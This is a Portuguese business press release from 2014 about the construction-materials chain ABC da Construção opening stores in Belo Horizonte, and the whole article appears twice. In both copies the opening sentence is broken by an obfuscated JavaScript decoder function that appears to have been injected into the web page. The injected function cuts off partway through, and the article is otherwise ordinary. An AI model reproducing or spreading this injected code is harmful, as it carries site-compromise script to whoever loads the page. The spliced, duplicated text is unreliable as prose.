ABC da Construção se expande no mercado mineiroABC da Construção se expande no mercado mineiro
03-10-2014Divulgação ABC da Construção
24 de Setembro de 2014
A rede de materiais de construção e acabamentos function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
De acordo com o diretor de Novos Negócios da ABC, Rodolfo Zhouri, a entrada na Capital marca novo momento de expansão da rede, que já tem 50 lojas em 30 municípios mineiros. A meta é chegar ao fim de 2016 com 90 unidades.
"A ABC surgiu há 20 anos. Em 2008, com a terceira geração, foi dado início a um processo de profissionalização e expansão. Captamos investidores externos, melhoramos processos e aumentamos o mix de produtos. Tudo isso acelerou nosso ritmo de abertura de novas lojas, todas próprias, permitindo que expandíssemos na Zona da Mata, Sul de Minas, Região Metropolitana de Belo Horizonte e Centro-Oeste mineiro. Esse é um momento especial em que chegar a Belo Horizonte nos dá condições de planejar o crescimento para outras regiões", explica Zhouri.
Segundo o executivo, qualquer um dos modelos de loja tem foco no atendimento. A ideia é que o vendedor seja um verdadeiro consultor, indicando para o cliente as melhores opções independentemente de preço.
O pós-venda, nesse caso, ganha importância especial. A ordem é oferecer acompanhamento até que a obra seja finalizada, e não apenas até a entrega o material na casa do cliente.
"Identificamos que, em geral, os clientes apresentam três vulnerabilidades: ele é carente de informações rápidas e precisas; gastou muito ao longo de toda a obra, afinal o acabamento é a última coisa; está cansado e enfrentou toda sorte de problemas e imprevistos. aí que entramos com serviço. Queremos que a experiência de construir ou reformar seja prazerosa", afirma o diretor.
Relacionamento - Do outro lado, a empresa também foca no relacionamento com arquitetos e design. Em um programa de relacionamento os profissionais acumulam pontos ao levarem seus clientes à loja e podem trocar por viagens à eventos e feiras internacionais. Na próxima semana, um grupo de 20 pessoas embarca para a região de Bologna, na Itália, onde acontece a Cersaie - Feira de Revestimentos Cerâmicos e Louças Sanitárias, considerada a mais importante do setor na Europa.
"Funciona como os programas de milhagem. Os profissionais podem subir de nível. Trimestralmente fazemos uma viagem que reúne arquitetura e design, gastronomia e lazer. O objetivo é que os nossos parceiros tenham informações antecipadas, conheçam tendências e mergulhem em novas culturas. Por isso buscamos uma experiência completa", destaca.
Apenas a unidade Catalão (bairro Caiçara), última a ser inaugurada, gerou 30 empregos diretos entre atendimento e administração. "A loja precisa oferecer conforto. Um atendimento como o nosso é demorado e nem sempre o negócio é fechado em uma única visita. Estamos providenciando espaço para as crianças. Também colocamos em funcionamento a nossa central de atendimento 0800 e as funcionalidades do site. Tudo isso é para dar comodidade aos clientes, mas sempre sem abrir mão da visita à loja. Ela hoje funciona como um hub0, uma referência para a Grande BH", completa.
Divulgação ABC da Construção
24 de Setembro de 2014
A rede de materiais de construção e acabamentos function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
De acordo com o diretor de Novos Negócios da ABC, Rodolfo Zhouri, a entrada na Capital marca novo momento de expansão da rede, que já tem 50 lojas em 30 municípios mineiros. A meta é chegar ao fim de 2016 com 90 unidades.
"A ABC surgiu há 20 anos. Em 2008, com a terceira geração, foi dado início a um processo de profissionalização e expansão. Captamos investidores externos, melhoramos processos e aumentamos o mix de produtos. Tudo isso acelerou nosso ritmo de abertura de novas lojas, todas próprias, permitindo que expandíssemos na Zona da Mata, Sul de Minas, Região Metropolitana de Belo Horizonte e Centro-Oeste mineiro. Esse é um momento especial em que chegar a Belo Horizonte nos dá condições de planejar o crescimento para outras regiões", explica Zhouri.
Segundo o executivo, qualquer um dos modelos de loja tem foco no atendimento. A ideia é que o vendedor seja um verdadeiro consultor, indicando para o cliente as melhores opções independentemente de preço.
O pós-venda, nesse caso, ganha importância especial. A ordem é oferecer acompanhamento até que a obra seja finalizada, e não apenas até a entrega o material na casa do cliente.
"Identificamos que, em geral, os clientes apresentam três vulnerabilidades: ele é carente de informações rápidas e precisas; gastou muito ao longo de toda a obra, afinal o acabamento é a última coisa; está cansado e enfrentou toda sorte de problemas e imprevistos. aí que entramos com serviço. Queremos que a experiência de construir ou reformar seja prazerosa", afirma o diretor.
Relacionamento - Do outro lado, a empresa também foca no relacionamento com arquitetos e design. Em um programa de relacionamento os profissionais acumulam pontos ao levarem seus clientes à loja e podem trocar por viagens à eventos e feiras internacionais. Na próxima semana, um grupo de 20 pessoas embarca para a região de Bologna, na Itália, onde acontece a Cersaie - Feira de Revestimentos Cerâmicos e Louças Sanitárias, considerada a mais importante do setor na Europa.
"Funciona como os programas de milhagem. Os profissionais podem subir de nível. Trimestralmente fazemos uma viagem que reúne arquitetura e design, gastronomia e lazer. O objetivo é que os nossos parceiros tenham informações antecipadas, conheçam tendências e mergulhem em novas culturas. Por isso buscamos uma experiência completa", destaca.
Apenas a unidade Catalão (bairro Caiçara), última a ser inaugurada, gerou 30 empregos diretos entre atendimento e administração. "A loja precisa oferecer conforto. Um atendimento como o nosso é demorado e nem sempre o negócio é fechado em uma única visita. Estamos providenciando espaço para as crianças. Também colocamos em funcionamento a nossa central de atendimento 0800 e as funcionalidades do site. Tudo isso é para dar comodidade aos clientes, mas sempre sem abrir mão da visita à loja. Ela hoje funciona como um hub0, uma referência para a Grande BH", completa.